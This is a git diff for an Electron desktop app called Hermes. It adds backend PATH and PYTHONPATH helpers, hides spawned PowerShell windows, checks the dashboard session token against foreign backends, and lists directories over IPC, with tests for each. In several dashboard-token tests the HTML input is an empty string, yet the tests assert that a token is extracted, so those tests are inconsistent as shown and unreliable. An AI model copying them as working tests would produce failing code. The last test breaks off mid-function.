diff --git a/apps/desktop/electron/backend-env.cjs b/apps/desktop/electron/backend-env.cjs
new file mode 100644
index 000000000000..d3b65f4f781c
--- /dev/null
+++ b/apps/desktop/electron/backend-env.cjs
@@ -0,0 +1,101 @@
+const path = require('node:path')
+
+// Match the POSIX fallback surface used by the Python terminal environment.
+// macOS apps launched from Finder/Dock often inherit only /usr/bin:/bin:/usr/sbin:/sbin,
+// which misses Apple Silicon Homebrew and user-installed CLI tools such as codex.
+const POSIX_SANE_PATH_ENTRIES = Object.freeze([
+ '/opt/homebrew/bin',
+ '/opt/homebrew/sbin',
+ '/usr/local/sbin',
+ '/usr/local/bin',
+ '/usr/sbin',
+ '/usr/bin',
+ '/sbin',
+ '/bin'
+])
+
+function delimiterForPlatform(platform = process.platform) {
+ return platform === 'win32' ? ';' : ':'
+}
+
+function pathModuleForPlatform(platform = process.platform) {
+ return platform === 'win32' ? path.win32 : path.posix
+}
+
+function pathEnvKey(env = process.env, platform = process.platform) {
+ if (platform !== 'win32') return 'PATH'
+ return Object.keys(env || {}).find(key => key.toUpperCase() === 'PATH') || 'PATH'
+}
+
+function currentPathValue(env = process.env, platform = process.platform) {
+ const key = pathEnvKey(env, platform)
+ return env?.[key] || ''
+}
+
+function appendUniquePathEntries(entries, { delimiter = path.delimiter } = {}) {
+ const seen = new Set()
+ const ordered = []
+
+ for (const entry of entries) {
+ if (!entry) continue
+ const parts = Array.isArray(entry) ? entry : String(entry).split(delimiter)
+ for (const part of parts) {
+ if (!part || seen.has(part)) continue
+ seen.add(part)
+ ordered.push(part)
+ }
+ }
+
+ return ordered.join(delimiter)
+}
+
+function buildDesktopBackendPath({
+ hermesHome,
+ venvRoot,
+ currentPath = '',
+ platform = process.platform,
+ pathModule = pathModuleForPlatform(platform)
+} = {}) {
+ const delimiter = delimiterForPlatform(platform)
+ const hermesNodeBin = hermesHome ? pathModule.join(hermesHome, 'node', 'bin') : null
+ const venvBin = venvRoot ? pathModule.join(venvRoot, platform === 'win32' ? 'Scripts' : 'bin') : null
+ const saneEntries = platform === 'win32' ? [] : POSIX_SANE_PATH_ENTRIES
+
+ return appendUniquePathEntries(
+ [hermesNodeBin, venvBin, currentPath, saneEntries],
+ { delimiter }
+ )
+}
+
+function buildDesktopBackendEnv({
+ hermesHome,
+ pythonPathEntries = [],
+ venvRoot,
+ currentEnv = process.env,
+ platform = process.platform,
+ pathModule = pathModuleForPlatform(platform)
+} = {}) {
+ const delimiter = delimiterForPlatform(platform)
+ const currentPythonPath = currentEnv?.PYTHONPATH || ''
+ const key = pathEnvKey(currentEnv, platform)
+
+ return {
+ PYTHONPATH: appendUniquePathEntries([...pythonPathEntries, currentPythonPath], { delimiter }),
+ [key]: buildDesktopBackendPath({
+ hermesHome,
+ venvRoot,
+ currentPath: currentPathValue(currentEnv, platform),
+ platform,
+ pathModule
+ })
+ }
+}
+
+module.exports = {
+ POSIX_SANE_PATH_ENTRIES,
+ appendUniquePathEntries,
+ buildDesktopBackendEnv,
+ buildDesktopBackendPath,
+ delimiterForPlatform,
+ pathEnvKey
+}
diff --git a/apps/desktop/electron/backend-env.test.cjs b/apps/desktop/electron/backend-env.test.cjs
new file mode 100644
index 000000000000..1011161917aa
--- /dev/null
+++ b/apps/desktop/electron/backend-env.test.cjs
@@ -0,0 +1,95 @@
+const test = require('node:test')
+const assert = require('node:assert/strict')
+const path = require('node:path')
+
+const {
+ POSIX_SANE_PATH_ENTRIES,
+ appendUniquePathEntries,
+ buildDesktopBackendEnv,
+ buildDesktopBackendPath,
+ pathEnvKey
+} = require('./backend-env.cjs')
+
+test('desktop backend PATH adds Hermes-managed bins and missing POSIX sane entries', () => {
+ const result = buildDesktopBackendPath({
+ hermesHome: '/Users/test/.hermes',
+ venvRoot: '/Users/test/.hermes/hermes-agent/venv',
+ currentPath: '/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin',
+ platform: 'darwin',
+ pathModule: path.posix
+ })
+
+ const entries = result.split(':')
+ assert.equal(entries[0], '/Users/test/.hermes/node/bin')
+ assert.equal(entries[1], '/Users/test/.hermes/hermes-agent/venv/bin')
+ assert.ok(entries.includes('/opt/homebrew/bin'), 'Apple Silicon Homebrew bin is added')
+ assert.ok(entries.includes('/opt/homebrew/sbin'), 'Apple Silicon Homebrew sbin is added')
+ assert.ok(entries.includes('/usr/local/sbin'), 'missing standard sbin is added')
+
+ for (const expected of POSIX_SANE_PATH_ENTRIES) {
+ assert.ok(entries.includes(expected), `${expected} should be present`)
+ }
+})
+
+test('desktop backend PATH preserves first occurrence and avoids duplicates', () => {
+ const result = buildDesktopBackendPath({
+ hermesHome: '/Users/test/.hermes',
+ venvRoot: '/Users/test/.hermes/hermes-agent/venv',
+ currentPath: '/opt/homebrew/bin:/usr/bin:/opt/homebrew/bin:/bin',
+ platform: 'darwin',
+ pathModule: path.posix
+ })
+
+ const entries = result.split(':')
+ assert.equal(entries.filter(entry => entry === '/opt/homebrew/bin').length, 1)
+ assert.ok(
+ entries.indexOf('/opt/homebrew/bin') < entries.indexOf('/opt/homebrew/sbin'),
+ 'existing Homebrew bin keeps its precedence over appended missing sane entries'
+ )
+})
+
+test('buildDesktopBackendEnv extends PYTHONPATH and backend PATH together', () => {
+ const env = buildDesktopBackendEnv({
+ hermesHome: '/Users/test/.hermes',
+ pythonPathEntries: ['/repo/hermes-agent'],
+ venvRoot: '/Users/test/.hermes/hermes-agent/venv',
+ currentEnv: {
+ PATH: '/usr/bin:/bin',
+ PYTHONPATH: '/existing/pythonpath'
+ },
+ platform: 'darwin',
+ pathModule: path.posix
+ })
+
+ assert.equal(env.PYTHONPATH, '/repo/hermes-agent:/existing/pythonpath')
+ assert.ok(env.PATH.startsWith('/Users/test/.hermes/node/bin:/Users/test/.hermes/hermes-agent/venv/bin:'))
+ assert.ok(env.PATH.includes('/opt/homebrew/bin'))
+})
+
+test('Windows PATH casing and delimiter are preserved without POSIX sane entries', () => {
+ const env = buildDesktopBackendEnv({
+ hermesHome: 'C:\\Users\\test\\AppData\\Local\\hermes',
+ pythonPathEntries: ['C:\\repo\\hermes-agent'],
+ venvRoot: 'C:\\Users\\test\\AppData\\Local\\hermes\\hermes-agent\\venv',
+ currentEnv: {
+ Path: 'C:\\Windows\\System32;C:\\Windows',
+ PYTHONPATH: 'C:\\existing\\pythonpath'
+ },
+ platform: 'win32',
+ pathModule: path.win32
+ })
+
+ assert.equal(pathEnvKey({ Path: 'x' }, 'win32'), 'Path')
+ assert.equal(env.PATH, undefined)
+ assert.ok(env.Path.startsWith('C:\\Users\\test\\AppData\\Local\\hermes\\node\\bin;'))
+ assert.ok(env.Path.includes('\\venv\\Scripts;'))
+ assert.ok(env.Path.includes(';C:\\Windows\\System32;C:\\Windows'))
+ assert.equal(env.Path.includes('/opt/homebrew/bin'), false)
+})
+
+test('appendUniquePathEntries drops empty entries and keeps first occurrence', () => {
+ assert.equal(
+ appendUniquePathEntries([':/a::/b', ['/a', '/c']], { delimiter: ':' }),
+ '/a:/b:/c'
+ )
+})
diff --git a/apps/desktop/electron/bootstrap-runner.cjs b/apps/desktop/electron/bootstrap-runner.cjs
index 95c43c955219..644f9405056e 100644
--- a/apps/desktop/electron/bootstrap-runner.cjs
+++ b/apps/desktop/electron/bootstrap-runner.cjs
@@ -40,6 +40,15 @@ const path = require('node:path')
const https = require('node:https')
const { spawn } = require('node:child_process')
+const IS_WINDOWS = process.platform === 'win32'
+
+function hiddenWindowsChildOptions(options = {}) {
+ if (!IS_WINDOWS || Object.prototype.hasOwnProperty.call(options, 'windowsHide')) {
+ return options
+ }
+ return { ...options, windowsHide: true }
+}
+
const STAMP_COMMIT_RE = /^[0-9a-f]{7,40}$/i
// Stages flagged needs_user_input=true in the manifest are skipped by the
@@ -284,7 +293,7 @@ function spawnPowerShell(scriptPath, args, { emit, stageName, abortSignal, herme
const ps = process.platform === 'win32' ? resolveWindowsPowerShell() : 'pwsh'
const fullArgs = ['-NoProfile', '-ExecutionPolicy', 'Bypass', '-File', scriptPath, ...args]
- const child = spawn(ps, fullArgs, {
+ const child = spawn(ps, fullArgs, hiddenWindowsChildOptions({
stdio: ['ignore', 'pipe', 'pipe'],
env: {
...process.env,
@@ -292,7 +301,7 @@ function spawnPowerShell(scriptPath, args, { emit, stageName, abortSignal, herme
// choice rather than re-computing the default.
HERMES_HOME: hermesHome || process.env.HERMES_HOME || ''
}
- })
+ }))
let stdout = ''
let stderr = ''
diff --git a/apps/desktop/electron/dashboard-token.cjs b/apps/desktop/electron/dashboard-token.cjs
new file mode 100644
index 000000000000..1a9ca50ad9c2
--- /dev/null
+++ b/apps/desktop/electron/dashboard-token.cjs
@@ -0,0 +1,99 @@
+/**
+ * Helpers for local dashboard session-token discovery.
+ *
+ * The desktop main process can pass HERMES_DASHBOARD_SESSION_TOKEN when it
+ * spawns the local dashboard, but the dashboard is the source of truth for the
+ * token it actually serves to the renderer. If those drift, HTTP readiness
+ * probes still pass while /api/ws rejects the renderer's token.
+ */
+
+const DEFAULT_TOKEN_FETCH_TIMEOUT_MS = 3_000
+
+async function fetchPublicText(url, options = {}) {
+ const { protocol } = new URL(url)
+ if (protocol !== 'http:' && protocol !== 'https:') {
+ throw new Error(`Unsupported Hermes backend URL protocol: ${protocol}`)
+ }
+
+ const timeoutMs = options.timeoutMs ?? DEFAULT_TOKEN_FETCH_TIMEOUT_MS
+ const res = await fetch(url, { signal: AbortSignal.timeout(timeoutMs) }).catch(error => {
+ if (error.name === 'TimeoutError') {
+ throw new Error(`Timed out connecting to Hermes backend after ${timeoutMs}ms`)
+ }
+ throw error
+ })
+ const text = await res.text()
+
+ if (!res.ok) throw new Error(`${res.status}: ${text || res.statusText}`)
+
+ return text
+}
+
+function extractInjectedDashboardToken(html) {
+ const match = /window\.__HERMES_SESSION_TOKEN__\s*=\s*("(?:\\.|[^"\\])*")/.exec(String(html || ''))
+ if (!match) return null
+ try {
+ return JSON.parse(match[1])
+ } catch {
+ return null
+ }
+}
+
+function dashboardIndexUrl(baseUrl) {
+ return `${String(baseUrl || '').replace(/\/+$/, '')}/`
+}
+
+async function resolveServedDashboardToken(baseUrl, fallbackToken, options = {}) {
+ const fetchText = options.fetchText || fetchPublicText
+ const html = await fetchText(dashboardIndexUrl(baseUrl), {
+ timeoutMs: options.timeoutMs ?? DEFAULT_TOKEN_FETCH_TIMEOUT_MS
+ })
+ const servedToken = extractInjectedDashboardToken(html)
+
+ if (servedToken && servedToken !== fallbackToken && typeof options.rememberLog === 'function') {
+ options.rememberLog('[boot] dashboard served a different session token; using served token for WebSocket auth')
+ }
+
+ return servedToken || fallbackToken
+}
+
+/**
+ * A served token that differs from our spawn token while our child is DEAD
+ * came from a process we did not spawn (orphan/port squatter that satisfied
+ * the public /api/status readiness probe). With a live child the mismatch is
+ * benign: our own backend regenerated the token because the env pin did not
+ * survive the spawn.
+ */
+function isForeignBackendToken({ servedToken, spawnToken, childAlive }) {
+ return Boolean(servedToken) && servedToken !== spawnToken && !childAlive
+}
+
+/**
+ * Resolve the token the backend actually serves, adopting benign drift and
+ * failing loudly on a foreign backend. `childAlive` is a thunk so liveness is
+ * sampled after the fetch, not before.
+ */
+async function adoptServedDashboardToken(baseUrl, spawnToken, { childAlive, label = 'Hermes backend', ...options }) {
+ const servedToken = await resolveServedDashboardToken(baseUrl, spawnToken, options).catch(error => {
+ options.rememberLog?.(`[boot] could not read served dashboard token (${label}): ${error.message}`)
+ return spawnToken
+ })
+
+ if (isForeignBackendToken({ servedToken, spawnToken, childAlive: childAlive() })) {
+ throw new Error(
+ `${label} exited and ${dashboardIndexUrl(baseUrl)} is served by a process we did not spawn; refusing its session token.`
+ )
+ }
+
+ return servedToken
+}
+
+module.exports = {
+ DEFAULT_TOKEN_FETCH_TIMEOUT_MS,
+ adoptServedDashboardToken,
+ dashboardIndexUrl,
+ extractInjectedDashboardToken,
+ fetchPublicText,
+ isForeignBackendToken,
+ resolveServedDashboardToken
+}
diff --git a/apps/desktop/electron/dashboard-token.test.cjs b/apps/desktop/electron/dashboard-token.test.cjs
new file mode 100644
index 000000000000..d598ffc2bc1d
--- /dev/null
+++ b/apps/desktop/electron/dashboard-token.test.cjs
@@ -0,0 +1,142 @@
+/**
+ * Tests for electron/dashboard-token.cjs.
+ *
+ * Run with: node --test electron/dashboard-token.test.cjs
+ * (Wired into npm test:desktop:platforms in package.json.)
+ */
+
+const test = require('node:test')
+const assert = require('node:assert/strict')
+
+const {
+ adoptServedDashboardToken,
+ dashboardIndexUrl,
+ extractInjectedDashboardToken,
+ fetchPublicText,
+ isForeignBackendToken,
+ resolveServedDashboardToken
+} = require('./dashboard-token.cjs')
+
+test('extractInjectedDashboardToken reads the JSON-encoded dashboard token', () => {
+ const html = ''
+ assert.equal(extractInjectedDashboardToken(html), 'served-token')
+})
+
+test('extractInjectedDashboardToken handles escaped token strings', () => {
+ const html = ''
+ assert.equal(extractInjectedDashboardToken(html), 'served\\token"quoted')
+})
+
+test('extractInjectedDashboardToken returns null for missing or malformed values', () => {
+ assert.equal(extractInjectedDashboardToken(''), null)
+ assert.equal(extractInjectedDashboardToken(''), null)
+})
+
+test('dashboardIndexUrl preserves dashboard path prefixes', () => {
+ assert.equal(dashboardIndexUrl('http://127.0.0.1:9120'), 'http://127.0.0.1:9120/')
+ assert.equal(dashboardIndexUrl('https://host.example/hermes/'), 'https://host.example/hermes/')
+})
+
+test('resolveServedDashboardToken uses the served token and logs when it differs', async () => {
+ const logs = []
+ const token = await resolveServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
+ fetchText: async url => {
+ assert.equal(url, 'http://127.0.0.1:9120/')
+ return ''
+ },
+ rememberLog: line => logs.push(line)
+ })
+
+ assert.equal(token, 'served-token')
+ assert.equal(logs.length, 1)
+ assert.match(logs[0], /served a different session token/)
+})
+
+test('resolveServedDashboardToken falls back when the served HTML has no token', async () => {
+ const token = await resolveServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
+ fetchText: async () => '',
+ rememberLog: () => {
+ throw new Error('should not log when no served token is present')
+ }
+ })
+
+ assert.equal(token, 'spawn-token')
+})
+
+test('resolveServedDashboardToken does not log when served token matches fallback', async () => {
+ const token = await resolveServedDashboardToken('http://127.0.0.1:9120', 'same-token', {
+ fetchText: async () => '',
+ rememberLog: () => {
+ throw new Error('should not log when token already matches')
+ }
+ })
+
+ assert.equal(token, 'same-token')
+})
+
+test('resolveServedDashboardToken propagates fetch errors so callers can fall back explicitly', async () => {
+ await assert.rejects(
+ () =>
+ resolveServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
+ fetchText: async () => {
+ throw new Error('boom')
+ }
+ }),
+ /boom/
+ )
+})
+
+test('fetchPublicText rejects unsupported protocols', async () => {
+ await assert.rejects(() => fetchPublicText('file:///tmp/index.html'), /Unsupported Hermes backend URL protocol/)
+})
+
+test('isForeignBackendToken only flags a mismatched token from a dead child', () => {
+ const cases = [
+ [{ servedToken: 'other', spawnToken: 'mine', childAlive: false }, true],
+ // Live child + drift = our backend regenerated the token (env pin lost).
+ [{ servedToken: 'other', spawnToken: 'mine', childAlive: true }, false],
+ [{ servedToken: 'mine', spawnToken: 'mine', childAlive: false }, false],
+ [{ servedToken: 'mine', spawnToken: 'mine', childAlive: true }, false],
+ [{ servedToken: null, spawnToken: 'mine', childAlive: false }, false],
+ [{ servedToken: '', spawnToken: 'mine', childAlive: false }, false]
+ ]
+ for (const [input, expected] of cases) {
+ assert.equal(isForeignBackendToken(input), expected, JSON.stringify(input))
+ }
+})
+
+test('adoptServedDashboardToken adopts drift from a live child', async () => {
+ const token = await adoptServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
+ childAlive: () => true,
+ fetchText: async () => ''
+ })
+
+ assert.equal(token, 'served-token')
+})
+
+test('adoptServedDashboardToken refuses a foreign token when our child is dead', async () => {
+ await assert.rejects(
+ () =>
+ adoptServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
+ childAlive: () => false,
+ fetchText: async () => '',
+ label: 'Hermes backend for profile "work"'
+ }),
+ /profile "work".*process we did not spawn/
+ )
+})
+
+test('adoptServedDashboardToken falls back to the spawn token when the fetch fails', async () => {
+ const logs = []
+ const token = await adoptServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
+ childAlive: () => true,
+ fetchText: async () => {
+ throw new Error('boom')
+ },
+ rememberLog: line => logs.push(line)
+ })
+
+ assert.equal(token, 'spawn-token')
+ assert.equal(logs.length, 1)
+ assert.match(logs[0], /could not read served dashboard token \(Hermes backend\): boom/)
+})
diff --git a/apps/desktop/electron/fs-read-dir.cjs b/apps/desktop/electron/fs-read-dir.cjs
new file mode 100644
index 000000000000..52d182ad5670
--- /dev/null
+++ b/apps/desktop/electron/fs-read-dir.cjs
@@ -0,0 +1,109 @@
+'use strict'
+
+const fs = require('node:fs')
+const path = require('node:path')
+const { resolveDirectoryForIpc } = require('./hardening.cjs')
+
+const FS_READDIR_STAT_CONCURRENCY = 16
+
+// Always-hidden noise (covers non-git projects too; gitignore catches many of
+// these, but the project tree should keep the same hygiene without one).
+const FS_READDIR_HIDDEN = new Set([
+ '.git',
+ '.hg',
+ '.svn',
+ '.cache',
+ '.next',
+ '.turbo',
+ '.venv',
+ '__pycache__',
+ 'build',
+ 'dist',
+ 'node_modules',
+ 'target',
+ 'venv'
+])
+
+function direntIsDirectory(dirent) {
+ return typeof dirent.isDirectory === 'function' && dirent.isDirectory()
+}
+
+function direntIsFile(dirent) {
+ return typeof dirent.isFile === 'function' && dirent.isFile()
+}
+
+function direntIsSymbolicLink(dirent) {
+ return typeof dirent.isSymbolicLink === 'function' && dirent.isSymbolicLink()
+}
+
+function shouldStatDirent(dirent) {
+ if (direntIsDirectory(dirent)) return false
+
+ return direntIsSymbolicLink(dirent) || !direntIsFile(dirent)
+}
+
+async function entryForDirent(dirent, resolved, fsImpl) {
+ const fullPath = path.join(resolved, dirent.name)
+ let isDirectory = direntIsDirectory(dirent)
+
+ if (!isDirectory && shouldStatDirent(dirent)) {
+ try {
+ isDirectory = (await fsImpl.promises.stat(fullPath)).isDirectory()
+ } catch {
+ isDirectory = false
+ }
+ }
+
+ return { name: dirent.name, path: fullPath, isDirectory }
+}
+
+async function mapWithStatConcurrency(items, mapper) {
+ const results = new Array(items.length)
+ let nextIndex = 0
+
+ async function runWorker() {
+ while (nextIndex < items.length) {
+ const index = nextIndex
+ nextIndex += 1
+ results[index] = await mapper(items[index])
+ }
+ }
+
+ const workerCount = Math.min(FS_READDIR_STAT_CONCURRENCY, items.length)
+ const workers = Array.from({ length: workerCount }, () => runWorker())
+ await Promise.all(workers)
+
+ return results
+}
+
+async function readDirForIpc(dirPath, options = {}) {
+ const fsImpl = options.fs || fs
+ let resolved
+
+ try {
+ ;({ resolvedPath: resolved } = await resolveDirectoryForIpc(dirPath, {
+ fs: fsImpl,
+ purpose: 'Directory read'
+ }))
+ } catch (error) {
+ return { entries: [], error: error?.code || 'read-error' }
+ }
+
+ try {
+ const dirents = await fsImpl.promises.readdir(resolved, { withFileTypes: true })
+ const visibleDirents = dirents.filter(dirent => !FS_READDIR_HIDDEN.has(dirent.name))
+ const entries = await mapWithStatConcurrency(visibleDirents, dirent =>
+ entryForDirent(dirent, resolved, fsImpl)
+ )
+
+ entries.sort((a, b) => Number(b.isDirectory) - Number(a.isDirectory) || a.name.localeCompare(b.name))
+
+ return { entries }
+ } catch (error) {
+ return { entries: [], error: error?.code || 'read-error' }
+ }
+}
+
+module.exports = {
+ readDirForIpc
+}
diff --git a/apps/desktop/electron/fs-read-dir.test.cjs b/apps/desktop/electron/fs-read-dir.test.cjs
new file mode 100644
index 000000000000..42e80af3489d
--- /dev/null
+++ b/apps/desktop/electron/fs-read-dir.test.cjs
@@ -0,0 +1,364 @@
+'use strict'
+
+const assert = require('node:assert/strict')
+const fs = require('node:fs')
+const os = require('node:os')
+const path = require('node:path')
+const test = require('node:test')
+const { pathToFileURL } = require('node:url')
+
+const { readDirForIpc } = require('./fs-read-dir.cjs')
+
+function mkTmpDir() {
+ return fs.mkdtempSync(path.join(os.tmpdir(), 'hermes-fs-read-dir-'))
+}
+
+function fakeDirent(name, flags = {}) {
+ return {
+ name,
+ isDirectory: () => Boolean(flags.directory),
+ isFile: () => Boolean(flags.file),
+ isSymbolicLink: () => Boolean(flags.symlink)
+ }
+}
+
+test('readDirForIpc hides noisy directories and files from the project tree', async () => {
+ const root = mkTmpDir()
+
+ try {
+ fs.mkdirSync(path.join(root, 'node_modules'))
+ fs.mkdirSync(path.join(root, 'src'))
+ fs.writeFileSync(path.join(root, 'target'), 'hidden file')
+ fs.writeFileSync(path.join(root, 'README.md'), 'visible file')
+
+ const result = await readDirForIpc(root)
+
+ assert.equal(result.error, undefined)
+ assert.deepEqual(
+ result.entries.map(entry => entry.name),
+ ['src', 'README.md']
+ )
+ } finally {
+ fs.rmSync(root, { recursive: true, force: true })
+ }
+})
+
+test('readDirForIpc filters a hidden basename whether it is a file or directory', async () => {
+ const dirRoot = mkTmpDir()
+ const fileRoot = mkTmpDir()
+
+ try {
+ fs.mkdirSync(path.join(dirRoot, 'node_modules'))
+ fs.writeFileSync(path.join(dirRoot, 'visible.txt'), 'visible')
+ fs.writeFileSync(path.join(fileRoot, 'node_modules'), 'hidden file')
+ fs.writeFileSync(path.join(fileRoot, 'visible.txt'), 'visible')
+
+ assert.deepEqual(
+ (await readDirForIpc(dirRoot)).entries.map(entry => entry.name),
+ ['visible.txt']
+ )
+ assert.deepEqual(
+ (await readDirForIpc(fileRoot)).entries.map(entry => entry.name),
+ ['visible.txt']
+ )
+ } finally {
+ fs.rmSync(dirRoot, { recursive: true, force: true })
+ fs.rmSync(fileRoot, { recursive: true, force: true })
+ }
+})
+
+test('readDirForIpc returns directories before files and sorts by name within groups', async () => {
+ const root = mkTmpDir()
+
+ try {
+ fs.writeFileSync(path.join(root, 'z.txt'), 'z')
+ fs.mkdirSync(path.join(root, 'src'))
+ fs.writeFileSync(path.join(root, 'a.txt'), 'a')
+ fs.mkdirSync(path.join(root, 'lib'))
+
+ const result = await readDirForIpc(root)
+
+ assert.equal(result.error, undefined)
+ assert.deepEqual(
+ result.entries.map(entry => entry.name),
+ ['lib', 'src', 'a.txt', 'z.txt']
+ )
+ } finally {
+ fs.rmSync(root, { recursive: true, force: true })
+ }
+})
+
+test('readDirForIpc accepts file URLs for directories', async () => {
+ const root = mkTmpDir()
+
+ try {
+ fs.mkdirSync(path.join(root, 'src'))
+ fs.writeFileSync(path.join(root, 'README.md'), 'visible file')
+
+ const result = await readDirForIpc(pathToFileURL(root).toString())
+
+ assert.equal(result.error, undefined)
+ assert.deepEqual(
+ result.entries.map(entry => entry.name),
+ ['src', 'README.md']
+ )
+ } finally {
+ fs.rmSync(root, { recursive: true, force: true })
+ }
+})
+
+test('readDirForIpc returns invalid-path for blank or non-string input', async () => {
+ let readdirCalls = 0
+ const fsImpl = {
+ promises: {
+ readdir: async () => {
+ readdirCalls += 1
+ return []
+ }
+ }
+ }
+
+ assert.deepEqual(await readDirForIpc('', { fs: fsImpl }), { entries: [], error: 'invalid-path' })
+ assert.deepEqual(await readDirForIpc(' ', { fs: fsImpl }), { entries: [], error: 'invalid-path' })
+ assert.deepEqual(await readDirForIpc(null, { fs: fsImpl }), { entries: [], error: 'invalid-path' })
+ assert.equal(readdirCalls, 0)
+})
+
+test('readDirForIpc rejects Windows device paths before readdir', async () => {
+ let readdirCalls = 0
+ const fsImpl = {
+ promises: {
+ readdir: async () => {
+ readdirCalls += 1
+ return []
+ }
+ }
+ }
+
+ assert.deepEqual(await readDirForIpc('\\\\?\\C:\\secret', { fs: fsImpl }), {
+ entries: [],
+ error: 'device-path'
+ })
+ assert.equal(readdirCalls, 0)
+})
+
+test('readDirForIpc returns filesystem error codes instead of throwing', async () => {
+ const root = mkTmpDir()
+
+ try {
+ const result = await readDirForIpc(path.join(root, 'missing'))
+
+ assert.deepEqual(result, { entries: [], error: 'ENOENT' })
+ } finally {
+ fs.rmSync(root, { recursive: true, force: true })
+ }
+})
+
+test('readDirForIpc marks a symlink to a directory as a directory', async t => {
+ const root = mkTmpDir()
+
+ try {
+ fs.mkdirSync(path.join(root, 'actual-dir'))
+
+ try {
+ fs.symlinkSync(path.join(root, 'actual-dir'), path.join(root, 'linked-dir'), 'dir')
+ } catch (error) {
+ if (error?.code === 'EPERM' || error?.code === 'EACCES') {
+ t.skip(`symlink creation is not permitted on this platform (${error.code})`)
+
+ return
+ }
+
+ throw error
+ }
+
+ const result = await readDirForIpc(root)
+ const linked = result.entries.find(entry => entry.name === 'linked-dir')
+
+ assert.equal(result.error, undefined)
+ assert.equal(linked?.isDirectory, true)
+ } finally {
+ fs.rmSync(root, { recursive: true, force: true })
+ }
+})
+
+test('readDirForIpc marks a Windows junction to a directory as a directory', async t => {
+ if (process.platform !== 'win32') {
+ t.skip('junctions are a Windows-specific symlink type')
+
+ return
+ }
+
+ const root = mkTmpDir()
+
+ try {
+ fs.mkdirSync(path.join(root, 'actual-dir'))
+
+ try {
+ fs.symlinkSync(path.join(root, 'actual-dir'), path.join(root, 'junction-dir'), 'junction')
+ } catch (error) {
+ if (error?.code === 'EPERM' || error?.code === 'EACCES') {
+ t.skip(`junction creation is not permitted on this platform (${error.code})`)
+
+ return
+ }
+
+ throw error
+ }
+
+ const result = await readDirForIpc(root)
+ const junction = result.entries.find(entry => entry.name === 'junction-dir')
+
+ assert.equal(result.error, undefined)
+ assert.equal(junction?.isDirectory, true)
+ } finally {
+ fs.rmSync(root, { recursive: true, force: true })
+ }
+})
+
+test('readDirForIpc allows expanding symlink or junction directories outside the project root', async t => {
+ const root = mkTmpDir()
+ const outside = mkTmpDir()
+
+ try {
+ fs.writeFileSync(path.join(outside, 'outside.txt'), 'ok')
+
+ const linkPath = path.join(root, 'outside-link')
+ try {
+ fs.symlinkSync(outside, linkPath, process.platform === 'win32' ? 'junction' : 'dir')
+ } catch (error) {
+ if (error?.code === 'EPERM' || error?.code === 'EACCES') {
+ t.skip(`directory symlink creation is not permitted on this platform (${error.code})`)
+
+ return
+ }
+
+ throw error
+ }
+
+ const result = await readDirForIpc(linkPath)
+
+ assert.equal(result.error, undefined)
+ assert.deepEqual(result.entries, [
+ { name: 'outside.txt', path: path.join(linkPath, 'outside.txt'), isDirectory: false }
+ ])
+ } finally {
+ fs.rmSync(root, { recursive: true, force: true })
+ fs.rmSync(outside, { recursive: true, force: true })
+ }
+})
+
+test('readDirForIpc stats symbolic links and unknown entries without dropping the whole listing', async () => {
+ const input = path.join('virtual-root')
+ const resolved = path.resolve(input)
+ const statCalls = []
+ const fsImpl = {
+ promises: {
+ readdir: async () => [
+ fakeDirent('unknown-entry'),
+ fakeDirent('linked-dir', { symlink: true }),
+ fakeDirent('broken-link', { symlink: true }),
+ fakeDirent('plain.txt', { file: true })
+ ],
+ stat: async fullPath => {
+ if (fullPath === resolved) {
+ return { isDirectory: () => true }
+ }
+
+ statCalls.push(fullPath)
+ if (fullPath.endsWith(`${path.sep}linked-dir`)) {
+ return { isDirectory: () => true }
+ }
+ throw Object.assign(new Error('gone'), { code: 'ENOENT' })
+ }
+ }
+ }
+
+ const result = await readDirForIpc(input, { fs: fsImpl })
+
+ assert.equal(result.error, undefined)
+ assert.deepEqual(
+ statCalls.sort(),
+ [path.join(resolved, 'broken-link'), path.join(resolved, 'linked-dir'), path.join(resolved, 'unknown-entry')].sort()
+ )
+ assert.deepEqual(result.entries, [
+ { name: 'linked-dir', path: path.join(resolved, 'linked-dir'), isDirectory: true },
+ { name: 'broken-link', path: path.join(resolved, 'broken-link'), isDirectory: false },
+ { name: 'plain.txt', path: path.join(resolved, 'plain.txt'), isDirectory: false },
+ { name: 'unknown-entry', path: path.join(resolved, 'unknown-entry'), isDirectory: false }
+ ])
+})
+
+test('readDirForIpc bounds concurrent stats while preserving complete sorted output', async () => {
+ const input = path.join('virtual-root')
+ const resolved = path.resolve(input)
+ const names = Array.from({ length: 105 }, (_, index) => `entry-${String(104 - index).padStart(3, '0')}`)
+ const failedName = 'entry-100'
+ const directoryNames = new Set(names.filter((_, index) => index % 10 === 4))
+ const successfulDirectoryNames = new Set([...directoryNames].filter(name => name !== failedName))
+ const statCalls = []
+ let active = 0
+ let peak = 0
+ let releaseStats
+ let markFirstStatStarted
+ const statsReleased = new Promise(resolve => {
+ releaseStats = resolve
+ })
+ const firstStatStarted = new Promise(resolve => {
+ markFirstStatStarted = resolve
+ })
+ const fsImpl = {
+ promises: {
+ readdir: async () => [
+ fakeDirent('node_modules', { symlink: true }),
+ ...names.map((name, index) => fakeDirent(name, { symlink: index % 2 === 0 }))
+ ],
+ stat: async fullPath => {
+ if (fullPath === resolved) {
+ return { isDirectory: () => true }
+ }
+
+ statCalls.push(fullPath)
+ active += 1
+ peak = Math.max(peak, active)
+ markFirstStatStarted()
+ await statsReleased
+ active -= 1
+
+ const name = path.basename(fullPath)
+ if (name === failedName) {
+ throw Object.assign(new Error('gone'), { code: 'ENOENT' })
+ }
+
+ return { isDirectory: () => successfulDirectoryNames.has(name) }
+ }
+ }
+ }
+
+ const resultPromise = readDirForIpc(input, { fs: fsImpl })
+ await firstStatStarted
+ await new Promise(resolve => setImmediate(resolve))
+ releaseStats()
+ const result = await resultPromise
+
+ const expectedNames = [
+ ...names.filter(name => successfulDirectoryNames.has(name)).sort(),
+ ...names.filter(name => !successfulDirectoryNames.has(name)).sort()
+ ]
+
+ assert.equal(result.error, undefined)
+ assert.equal(result.entries.length, names.length)
+ assert.equal(statCalls.length, names.length)
+ assert.equal(statCalls.some(fullPath => fullPath.endsWith(`${path.sep}node_modules`)), false)
